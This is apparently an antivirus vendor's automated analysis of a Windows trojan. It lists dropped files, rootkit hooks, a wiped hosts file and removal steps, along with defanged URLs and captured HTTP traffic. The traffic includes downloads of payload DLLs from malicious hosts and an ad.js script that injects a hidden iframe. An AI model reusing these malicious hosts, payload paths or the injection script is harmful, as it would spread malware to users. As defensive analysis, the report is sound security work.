Gen.Variant.Graftor.269877_0a0923be92 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:1260

The Trojan injects its code into the following process(es):

svchost.exe:1764

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:1260 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Windows\jaJQUpL\svchost.exe (7900 bytes)
C:\Windows\CLOG.txt (43 bytes)
C:\Windows\VTdBRfd.dll (12 bytes)

The Trojan deletes the following file(s):

C:\Windows\VTdBRfd.dll (0 bytes)

Registry activity

Dropped PE files

MD5	File path
158b710a2ce07e3a34e46118f2ad39f2	c:\Windows\FoORlJFH\PtyIRoOEy.dll
43980804d675bfa958029582812d06eb	c:\Windows\FoORlJFH\SYyUpqxY.dll
26bad02eba1c5cd2f9cefb1c83524dca	c:\Windows\jaJQUpL\svchost.exe

HOSTS file anomalies

The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 0 bytes in size. All records have been removed.

Rootkit activity

Using the driver "\DosDevices\C:\Windows\system32\6b692\VjlL6L1hM3S.sys" the Trojan controls creation and closing of processes by installing the process notifier.

Using the driver "entry 1 from table of Process notifiers, error 59" the Trojan controls creation and closing of processes by installing the process notifier.

Using the driver "\DosDevices\C:\Windows\system32\6b692\VjlL6L1hM3S.sys" the Trojan controls loading executable images into a memory by installing the Load image notifier.

Using the driver "\DosDevices\C:\Windows\system32\6b692\VjlL6L1hM3S.sys" the Trojan controls operations with a system registry by installing the registry notifier.

The Trojan installs the following kernel-mode hooks:

ZwTerminateProcess

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:1260
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
C:\Windows\jaJQUpL\svchost.exe (7900 bytes)
C:\Windows\CLOG.txt (43 bytes)
C:\Windows\VTdBRfd.dll (12 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
CODE	4096	1236992	986624	5.54507	17f45d2c33d15d61a1ec1a703470f69e
.rsrc	1241088	12288	9728	4.41532	a89d4ae5b7baa204a64b73b2c8346609

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://www.58sky.com/index/getcfg?id=2	119.97.143.18
hxxp://5636.ecoma.ourwebpic.com/d2/x86.dll
hxxp://www.58sky.com/index/getcfg?id=3	119.97.143.18
hxxp://5636.ecoma.ourwebpic.com/
hxxp://175.haodns123.cc/
hxxp://175.haodns123.cc/css/style.css
hxxp://175.haodns123.cc/js/jscript_jquery.faded.js
hxxp://175.haodns123.cc/images/top-ban.jpg
hxxp://175.haodns123.cc/ad.js
hxxp://175.haodns123.cc/js/jscript_jquery-1.4.2.min.js
hxxp://cdn.sp.cdntip.com/ic.asp
hxxp://www.175sf.com/js/jscript_jquery-1.4.2.min.js	116.31.118.121
hxxp://www.175sf.com/images/top-ban.jpg	116.31.118.121
hxxp://www.175sf.com/ad.js	116.31.118.121
hxxp://1212.ip138.com/ic.asp	113.200.98.174
hxxp://www.175sf.com/js/jscript_jquery.faded.js	116.31.118.121
hxxp://www.175sf.com/	116.31.118.121
hxxp://www.go890.com/d2/x86.dll	87.245.198.83
hxxp://www.ip138.com/	87.245.198.83
hxxp://www.175sf.com/css/style.css	116.31.118.121
hxxp://www.go890.com/d2/CDClient.dll	87.245.198.83

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /js/jscript_jquery-1.4.2.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.175sf.com/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.175sf.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 25 Oct 2016 10:21:35 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Last-Modified: Tue, 19 Jul 2011 02:14:30 GMT

Content-Encoding: gzip

607f.................F.(._...XhO...H...g.(.Wk[=..v...(_..Ip..$k..y...>..._,..L.,.{....$r...2"...................o.-....E.\7...".........i.^/.v{r.y[.|..d..2_...h.n<..wD.o.x..)]e#..j....l..Vi..,..h..i......h........*....*..U.h^....n..b0.$..q.}.4K[..YpE.....A_?@G^....&..Ek....)...A.E... ....u.{..<.h....h.x....o.O...|.....\....N.3Bg..f1..........<r.m6tO..l.S.%..v].oW.$.l..b.z.....r...........h=....]....<.7kw..s/(...X.... t..^.....D.m....t..h....M1.)ED.....F.U*`......wV.(......,.....h...uz.....e.XCG.5[,.............2*...y....o..y~...g.......a7E"."..o{...,.Z.t1Z....5t,.6.0..<......0/\..7.E#...\...O.$jf...jHN..."<....OOq...U..XY.v.."..f.K..k...........B}.<?............`......`.9..Ho.....W.5&.w..A S~..........O..M....V....Z.....@.vQ.\..].\..#.,.KH.{0....(F.. 1...}*....p.Bhq..l%..}.......e7...H.X,....d..>.vQ ......4.....`.O......l.}..\..B..vx...X.....)..6.7.i?...d#.f...,.B...&4.mv...f5v...p.`....i..T......~..`0k..t...........5......S...`................t.Nz........6.. ...a...fX"k-.....y.Y....pv../..nR...`.t.@.|...h....q...a..^.......`.z.O.l....zR..v.&...2]..G........ ]'..i.......[!....).2m..z......{.?c.?.%~.O....t#.M.....FM....;.X.R.......8^.......S..U........@d.B...f\...p..e... n..&;n....M^...F..~..X. ...C..:..:.j...f....7...6.0..8d.......N.... ._..>P(x.(x....^{....O.$..D`z/.._j.`io..J.3.4R. .c.&..]...o....T..... ..".8....p :.=.Z..b...@......O.f..:==Y...M....Sw.Zm...X...t0}9...v'.3.Ln...q2.*....F.9{...a2..9....v....5..\.j.od)....=.hA.0Dd..R...p......o.G.(..'i..R?5...Lp...0<......b......

<<< skipped >>>

GET / HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.175sf.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 25 Oct 2016 10:21:31 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Content-Location: hXXp://VVV.175sf.com/index.html

Last-Modified: Tue, 25 Oct 2016 09:12:44 GMT

Content-Encoding: gzip

3c17.............}.S.Y...vD...vz....R.!U.................u.I a!a].eg.a#6...._w.6@.P.r).R.. ...!!@.....]...e...r....)..I8'..43.=.........;..|......>..?}..".u. .......?...wt.G......./E..?......b...f.....MF..../..M...Z...........&s_.o..1.."....... ......O.r..qx.`..?.>.R.d/g..Ui....U%.o.k/..W..}`2Z.Fk.oG..m"5...6.v...W.\.......|_.TFH.D.p...j.^X.,>.l.W........c...c.......3{./...^..t0<.....3..e...`.8..........o..vd.d.X.p..P......Z.f. L..W.a.S....yv. .C.}......}>.......[.."..|46.?U...,1...x"...-R..1*Vz........&..o..Q.5.vZ|.. Z..W.V...7..?....~.O..W...K".Y.{..Cm.tX.#.....Md..T....Yk8..|n.i....~...?...".YM...B..3S../....vB.)....Fq......UWT.7/..`.q....*.V.u.c.......^.Q..s.....OD"...i.........9........T...Lo....f...'...k...v.E.."R.T..M...E....K!....%..o..h.......J.O.G......].....Z..!3..36#M\....;?.}...kh.h............T.m..l.Y{..m. .....rE.P.....Y......E.2.u..A=-....C..NB).v)..!..TH$.....wE....Ae.^.......?.5.M..?..C.M.4.i.g..F.iHl0....9...[..>RYub.Vo8c...~I......\..a.y....d......g.~.../.S-..ZU~1...g.......2... .......;ML...&.b.Ae.T~k..^..`..o... .[?...Z:...{T..1...WU...T..%.....".Qu.m.......P........j.z......R.U........9.g?..K...B...o....n....y[).m...T...q.vu%<....m'.m...B.....0[.j.......1s-./.r1>xu....g... Q8...I/G..o..\G.V.3....ll#.y...=.....G.......*...x.MM.....[Y....l..s.P.._ ..@...,.... .[..z..xl..Q..U.c.......|.A..6Q.mSh......Z..2.R..}....4....[. .i....P......(.J9..k..g4..1........%.]........./R.{..V.{..e..q.8......;..$.#.x....9pu.wEf.0.x..8.....X.........M..}e.....*.M.7l.].O..V(.......-j.>

<<< skipped >>>

GET /js/jscript_jquery.faded.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.175sf.com/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.175sf.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 25 Oct 2016 10:21:32 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Last-Modified: Tue, 19 Jul 2011 02:14:20 GMT

Content-Encoding: gzip

73d.............X.n.6..V....y.];.......[Vt.z......%.f K*E%M.?...H{..<H"e.I..b..K...?.........{.a...K.,|...1..g..5*.j.3..%..,C.k...-..kFE..@oo.,...Lo.f'.....=Q4..</...l%"..=..~..!2.5...U4E)...%...&..2....".............4'h..g.<G..x.5L.6..Z.T.u.j..|%..v...I.(..J..J.J...r[...).Mj`.._.y].|]S<X".._..%x.n.....YWY,y...Y.F.:..g.@B..qX....P?....K*P.....DK4jN..H.i....*......s^0Y..L....xK.r.0l8....!.e.).J.....,.5..k$.@DA...F.6d.oy.....er{._.|.}.\..c.&TR...c..T..Dd<FQ....\B`.b....%....6.&@7..B.K..U....~. .g%.lg.. %..{..d.R3.y.i..2.`.K6...k.Oc....j......C.....w.h.,....qYL.tE...m.P.p^.D9.........!J..f.V<..O...oal...W.3}.......A....:"T..^....s.R.UM..,...K......./W.......4 .%P3....B..A.;T.v...-.i.j.'.eV{...."..8..3h...e.$.>.Y...-..1....4rI..z.b..G..R.y...P..)*.!6.a... khQ@.........6....QS.;.......S O.p..A..]~.q...k..cgg.>B).I..5...)hU2/......MqB ..).v.h.7|...|jJ...V.(U5Y..........&...Q..V5....O..G.z.....C.....eIn....o..K..ax.....>.pk..U...dx.l.l.*..B..R.4._. .>{K./.F.. lp...H0%T..ej...h....1....p.i3.......]..qm4.x.9.gAa..J_.g O.~.......U......O\..>;=..3....;......a..OGr..M..)....c..&.m.[/....at.'.....|zBA 8...X....n..~....3D...p.U.Q..$9WF!..K.. ........Lw.^....XTJAT.`.....gzz....-.....&F{.B.I.V........D.$..e...3...%s.1..%...F.(.0..Hut......P..K.c.%.x..w.K.....=dD..)Q..x0.L.L...V0*.....?v...I.1...E\...q'..........5.v.../2e........t ...C..X.10.o%h..Sl..v... W|..~...P{He...8.E.'W...j8o.{N'.;s..x....]..w......=.x.....s..a/.|.a..K..l.Gw...Q.)....-.n....n....z|t...ni.z.S......}........lZk.pq.......r..

<<< skipped >>>

GET /images/top-ban.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.175sf.com/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.175sf.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 25 Oct 2016 10:21:32 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Last-Modified: Tue, 14 Jun 2016 07:38:00 GMT

Content-Encoding: gzip

6218..............UT.Z.$..C. ..{c....qMpw...........4......w............>.>..:...{..io.K.@^.....?x.....0................N......:..M@...............4...._...........b........a. ......... dT$.4x.D .....CBF@D...................?d..w....K(qpA..T`qj<u.N.n.|^S3M-m..s.B4...".....G...6..............?.`#.(q.....M.p].9@(.E...&(......S.M|WI......n....:...b.c.'n......m........6.....{..R.O..cX.;..B. ......`#jf....."M..Jh..JJ9..$w...[..........5..w.$.I.x.SH.WF!.i....(W...[........L..].$...A......\./.\...y].......4....9..FA'r....|.Q.(@D!......ri%.`.i/...O.J.[hY_..D.!..e.Ao...?#.z......&a.F.)..d.....y.\.b#..w... k...f.......z*....O.w9Y#....Z.....h.....E....Aw.....G..J.....t.B..2..a..*....iP....yb.T....T.".....B>q:WF.9B.....vV..j.....7..1..N:1I.T.....S.... |. .|t._.j....F.>..t.........'S..Mg^.H\.C)X8.P..*/....f*m..\W`..AY.....!......*.<0L.Pi...Pg.}Q....DU....E.(.H..K..!....O.....y...%..@Mk.W.j..3..?..U'.<.V....:._..2.'........;P.gyiy......j....v..E".U.....S.....h.$}:./.E`,.u.a}SN.u.<.._.Ma....P....G"...}.). .2......R...]m.3.....;.G..w@.4..?......<.<.!.6dY.d.G................-t.Zt.`t..w-.c....R.m.;#../..k-....8....t..@,.Hf....B....a........$j.j.PH.............&4H.. Hu...0....J.../..{E....a.. .fo...1w..Y`..J$..1/.#.Z.,..l.......S.....Di....#..o%..Fs..C.8._.z.?...~.G.@.9.J.....w....j4)....Q..v}..T..J.#5..#`.... ......PK....r..........G..9.YWJ) ?..,....tPZ..@.....<...s..k%.iO.....j..... .a....!...m.K.=.XfI{ .\.k.`R...)w....3........._..j...U....]..........x....B...q@R....GS...8.."rR...D*.BlD#..'h.e\

<<< skipped >>>

GET /ic.asp HTTP/1.1

Host: 1212.ip138.com

Accept: text/html, */*

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

HTTP/1.1 200 OK

Server: Microsoft-IIS/6.0

Connection: keep-alive

Date: Tue, 25 Oct 2016 10:21:36 GMT

Content

GET /index/getcfg?id=3 HTTP/1.1

Host: VVV.58sky.com

Accept: text/html, */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: nginx/1.4.4

Date: Tue, 25 Oct 2016 10:21:17 GMT

Content-Type: text/html;charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.5.27

Set-Cookie: PHPSESSID=47ept7h6jfemhavr4nh6bs8er0; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Encoding: gzip

1000a..................r..........``cc{...../.].CC..J.(. .~......,..}..VUeP..!......1....Y..?~)...-)......../e.........{...2....Iv=..._.._v..l3].....z ~....K.oN..&../IZ../..<.....K.......t"O.D..K.o.<.}..=..;.7m6..... ..Rt.6...r...o...i...Y....~..?.I~......s).|.nr...l...2...R..K....}..........U...34p>Of..z...z=M...j|.9&..|^'..4~=...V...y..c_..!..W.....dX.gr...v.\.G..=.......A.Yiv.I......~..?.....v.........z...&..f...H..~.....%[..l...a~...fzg...c7.W[w.X0.....</......4....E2...R..39=.....29'~._<.....|..Ir.%....9^.y.:z;.....<.......a......(.m..A...@.0."9..].FuL:0@.H.c...A..m.C_..l....!.7...|.'.....m.@i.y.....Er.-J..z5.{tH..A....]_..N......s.9.5..IW%...'..._t.. .t...(=.G.W...%..p?LV~i3...../Y.d..v..=..D..Z....O.O.P....".f.=...s:./?I..:9.,...er...Y9w. B;.:.6.Awi)..u.m..e..._U....W%.....h...x'..dG`?.C....]...U...[..&n.c&.x~6.l.I.7dsk ...c....r.h..Oi.....Te.^y.....S.....{......(`5...r.. g.8..f.(.v..7'sb,6.Q...o..|.\.....i2as.......=....?/~.........?m..?..............T.......O........q.;..N..a.E.n..y..g..{....V..h...Y.d.X{..>..f.T.'.Us.==.c.....]....V.........$w...EI}..s.fY.g.J...n...E.1.r....E._..../...y......<....h.@o..1.D......../.8....=....x....J?.D..}9....x.......,.......[...D.{..p[.3..Qag..w..p........./._.._.._.e%................._.[...?...... ..e...._...g.....m.X.=..x.=.../S............../._.....w.v....q.Y.........N...._......8..r....t...&..rZ....x-....S.....g.m.._.|.z.S...........$.#......z2T.G...?.>|...r....f.?..#;....2.Z.."...m8...T...)...a..B..S}....../.|\..Er.......j.....T.......O

<<< skipped >>>

GET /d2/x86.dll HTTP/1.1

Host: VVV.go890.com

Accept: text/html, */*

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Date: Tue, 25 Oct 2016 10:21:03 GMT

Server: kangle/2.9.6

Last-Modified: Wed, 21 Sep 2016 07:08:16 GMT

Content-Type: application/octet-stream

Content-Length: 132608

X-Via: 1.1 db78:1 (Cdn Cache Server V2.0)

Connection: keep-alive

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........2*..\y..\y..\y...y..\y...y..\y...y..\y...y..\y..]y..\y...y..\y...y..\y...y..\y...y..\yRich..\y........................PE..L...]..W...........!......................................................................@.................................................................|...........................................H...........................................UPX0....................................UPX1................................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................................................3.91.UPX!...........c.........B..&.......U..j.h..!P..Y.d...P...SV....W..0.1E.3.P.E...e.3o.....u.(0.E......x...........;.....f.y,.su.A0....nt......Nuf.P..tTuY....,dDuL.lLl.$.u?.2.x..u,,...l..........<......<...q........L....o.d....E.......M........Y_^[..]........p.....Y..MZ.9.t.j2.o..J.<...8PE.u..........2..E...d.V....?X..u..I.N..t0.....:.u.A.M.B.U...w......... ...)d.B....?...v.....d$...........u.i ..B..r!C.3...0}..@..}.....8.9........&..t..C<.D.x...3<...;.u.|.H.^...e{ .......@$<.......V.L..3.m.;}.sZ....F&......U.;.....u0Q.U.M

<<< skipped >>>

GET /css/style.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.175sf.com/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.175sf.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 25 Oct 2016 10:21:32 GMT

Content-Type: text/css

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Last-Modified: Thu, 23 Jun 2016 10:01:38 GMT

Content-Encoding: gzip

b2a...............n......?..,.....(KZ.....Q.2.J...A...5%...^;.c..T....~@..gZ.y./....sf..(.:....`9.s.s...~.G....7...f.g.x52.g..,]..M|....^. ...]...x^..F.<...o.?Z.... {f.2NnG...}......'.....#.,:.../G.'&...;9.z.9:>._.LN..#c..".:^...-H.0.:y..l..$.W..,./r.\..y.TL&.L.G..-..QF.O.$.(..$.h.f~...8.W..$f....|".8).5.....t...q~..}...Vg..uR:62.....4.w%._B...T...k?....}.....K.M.../.9....o............[........m..jI...a.(..8...n,.To...|F.....(.....I.. ....q&._L..l".'..j. .L-"..2k..sW8@:i.#..W.,-T...:K>.v?'_...}.K.y.}....b..>..Ig`.o........q5........r.w........1;@f}...].0....95...V..`..Q...3.......yH.'.c.NNN.%.t..U....{tK.h:"..1.,..c"`o.EA...r.x..z..1...=U....i%:.p.3..3.1.9..n_.......w.?.n....V... 4....FZ....*Q......r...].g.$.2QZm......g..0.2..k ..s nn.$...S..[..f. ...fi^.T...B..(.$T.3\^ R..wq.....llE}..P..e.W...%._..D...cc.$...R... ..fd,.0.V.......#..w.&.z.`..G] . C.....{.`...G..9....p...r.x.h..N(....:..f.\...@.7..).D..F`#.........f.p....2L.Z.......J.......M.`[...2ZE7.e.d.v..r.. .... .....djV..rZ...=.......d........o?....~...Q..h.......C".=v.o.K...0.~.C(.L...B.......>Z..y'......Q..I.....=Y.J....(^....Uu'...02....\S!..C...Z.... S.~.=\....z.....A.n......S..H.u).L.k.P...<Hb.Y....|u..N..8.....0.\'n......oC`...(....H.l..s....q.[7.`...1t....4.....X.us..~.1...Z.....e...-^t.;.d....3...}F.6......., SPu.V.....e......@...8.r..es.z...*m....5.*.2...h........R.%.^.Zc....4;.=.\.AS..OE..J.;.}.,..YE$.;k.........@]G.i..Ptq...;M...#V.AS.......>;.....-b;....YDH.W.#".@/.w.A......8.a..zH....,(.. `{..E.9...(."...v..F.xW...r...^..

<<< skipped >>>

GET /ad.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.175sf.com/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.175sf.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 25 Oct 2016 10:21:36 GMT

Content-Type: application/x-javascript

Content-Length: 166

Connection: keep-alive

Last-Modified: Thu, 09 Jun 2016 15:40:45 GMT

Accept-Ranges: bytes

ETag: "6c1d914965c2d11:3f6"

document.writeln("<iframe src=/23u.html \ align=center frameborder=0 scrolling=no marginwidth=\'1\' marginheight=\'1\' width=\'1002\' height=\'18000\' ></iframe> ");HTTP/1.1 200 OK..Server: nginx..Date: Tue, 25 Oct 2016 10:21:36 GMT..Content-Type: application/x-javascript..Content-Length: 166..Connection: keep-alive..Last-Modified: Thu, 09 Jun 2016 15:40:45 GMT..Accept-Ranges: bytes..ETag: "6c1d914965c2d11:3f6"..document.writeln("<iframe src=/23u.html \ align=center frameborder=0 scrolling=no marginwidth=\'1\' marginheight=\'1\' width=\'1002\' height=\'18000\' ></iframe> ");..

GET /d2/CDClient.dll HTTP/1.1

Host: VVV.go890.com

Accept: text/html, */*

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Date: Tue, 25 Oct 2016 10:20:53 GMT

Server: kangle/2.9.6

Last-Modified: Tue, 25 Oct 2016 08:52:37 GMT

Content-Type: application/octet-stream

Content-Length: 862720

X-Via: 1.1 db78:1 (Cdn Cache Server V2.0)

Connection: keep-alive

DUP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................$...........S.......@....@.........................................................................<O..P....@..m....................p......................................................................................CODE.....0..............PEC2^O...... ....rsrc....0...@...".................. ....reloc.......p.......(..............@...................................................................................................................................................................................................................................................................................................................................................................................................................[...b.. .........c....X.........b..._.....J>b.d.I.....i5.R......-.X.,So.....Wp.eAbk......7i.....8x......j...o$.f....e.Xa...V....b.C.n...9H..TC.J-......].L .b|C.*{?..@...a..w..Q.s...."..\...3KO.w.....V.....^.#b.l......<.q.C<.......].6..t..E..s.oT.f0...vn.=.l.D.....6\@..Cg.B.._.I5O.......K...|x.o-.l{..L.&..T.]..%?.....3#.T.z.J?....u......_...Hva@l.7d.@..U.....G."a..z..i..L..L..',....../..|D...........1z..o>.hg5m._.........7....},|.o......z.Rwa...l..a.....~"\\Z}.......1..=.H..A!..6.KW...]h....l7

<<< skipped >>>

GET /index/getcfg?id=2 HTTP/1.1

Host: VVV.58sky.com

Accept: text/html, */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: nginx/1.4.4

Date: Tue, 25 Oct 2016 10:20:47 GMT

Content-Type: text/html;charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.5.27

Set-Cookie: PHPSESSID=7761beg6jv02b3hqar0mf0cps2; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Encoding: gzip

7e6..............k..H..Xb>.2...F....v..nO.S..........87......g}.Ym.L.......".......E...b.d.....X.4U.i..}n.VO.7-[.x.}.../.a.K......j...i.'u....'%..@i.w.H.Y.=.WI9.....Y...9..a.}...|....4..d....e..K.V~....[.....5Q*_}Y.....%.$G|....^.N/.F.k_...p..>M.=AO.t...I.u.7. .....(..\..f:....e;.p{...S.u.3&...\..>..0..YC}.....S...Z'.J 9`w.<e....F.5.s...J..z..v...^v.kM...}...d. ..s.:...f...I...]..\.........Ny..5.2..1[>..l.......(.I6.S...........D._.\.`[..) .2...@.I.....,..".~....=...*@..*.B>=...$.4..$!G..N.;.a.....{V$.n.q.X..@0B......{..e...h.x.;...G'.Td..){.!........ ....)"..s.A.. .......-.H.....Tt.......F'...1......= ....H.f...Q.ppa....]....^.(e.R.N..J...1.\..:Ir.*..B7...:.5........E....Y..W.c.....V):....}...1.w.......4>...._...@..HVd;A..2....K.....{.9....n.^....&M.:."tb!.,.$9.....Jn.;'I...P...a...FA......7.P...Z.*....1./59..i.w..C...2..X.|o./.Y....Uw.y..[.....dI.tH..Bo.w...E{...F[.k.K...HkG[-..J{....6..7m....S...Iv.... s...H.}z.......@.........=.6..0....&..j.m.X6..4U.u.[...\0....u.Jn/.."v.,..>Y.. ^2.*.g.S.Y...~.......!T{...g.J..4"....4.x.7Y..!...`......d....3..,3..`~u.}9M...8G.]V.-/......=.}..m.#.....d...q..It.....bL.}...6.....j........].l..\_..U.b>eu].......)K^D......S....f....D....z.....l.`.m...$......R.....<A.7-.P..M[.......Xr.2....0......z4ka\..t..?xj..m...c.W=.).C.?Vn.4....#.J ....G. ..{.....pe..>..#.e.1....W..p......;.;D.}7ge@.a]......&....E......H.&u.....s......N.l>T..L.....H.b.Q..AS....B`.qD9..e.o.Cd.x.S1b....O.}x.......z.....].W...@...-...j.D.. i..|.u....a../.5..... ..............

<<< skipped >>>

GET / HTTP/1.1

Host: VVV.ip138.com

Accept: text/html, */*

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

HTTP/1.1 200 OK

Date: Tue, 25 Oct 2016 03:38:15 GMT

Content-Length: 18633

Content-Type: text/html

Content-Location: hXXp://VVV.ip138.com/index.htm

Last-Modified: Sat, 24 Sep 2016 05:33:00 GMT

Accept-Ranges: bytes

ETag: "928cec1c2516d21:445a"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Age: 24190

X-Via: 1.1 db77:5 (Cdn Cache Server V2.0)

Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">..<html>..<head>..<meta http-equiv="Content-Type" content="text/html; charset=gb2312">..<meta name="mobile-agent"content="format=html5; url=hXXp://m.ip138.com/">..<title>IP........--.................. | ............ | ............ | ........................</title>..<meta name="Keywords" content="ip,IP....,IP........,ip138">..<meta name="Description" content="ip,IP....,IP........,ip138">..<script language="javascript">..<!--..if(window.top!=window.self)window.top.location.href='hXXp://VVV.ip138.com/';..function checkIP()..{...var ipArray,ip,j;...ip = document.ipform.ip.value;...if (ip.indexOf(" ")>=0){3....ip = ip.replace(/ /g,"");....document.ipform.ip.value = ip;...}...if (ip.toLowerCase().indexOf("http://")==0){....ip = ip.slice(7);....document.ipform.ip.value = ip;...}...if (ip.toLowerCase().indexOf("hXXps://")==0){....ip = ip.slice(8);....document.ipform.ip.value = ip;...}...if (ip.slice(ip.length-1)=="/"){....ip = ip.slice(0,ip.length-1);....document.ipform.ip.value = ip;...}...if(/[A-Za-z_-]/.test(ip)){....if(!/^([\w-] \.) ((ac)|(ad)|(ae)|(af)|(ag)|(ai)|(al)|(am)|(an)|(ao)|(aq)|(ar)|(as)|(asia)|(at)|(au)|(aw)|(az)|(ba)|(band)|(bb)|(bd)|(be)|(bf)|(bg)|(bh)|(bi)|(bid)|(biz)|(bj)|(bm)|(bn)|(bo)|(br)|(bs)|(bt)|(bv)|(bw)|(by)|(bz)|(ca)|(cc)|(cd)|(cf)|(cg)|(ch)|(ci)|(ck)|(cl)|(click)|(club)|(cm)|(cn)|(co)|(co\.in)|(co\.nz)|(co\.uk)|(com)|(com\.ag)|(com\.br)|(com\.bz)|(com\.cn)|(com\.c

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

svchost.exe_1764:

`.rsrc

kernel32.dll

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

Uh.CA

u%CNu

%s[%d]

Uh%sA

1.2.8

getservbyport

WSAAsyncGetServByPort

WSAJoinLeaf

WS2_32.DLL

127.0.0.1

TIdSocketListWindows

TIdStackWindowsU

IdStackWindows

%s, %.2d %s %.4d %s %s

%s, %d %s %d %s %s

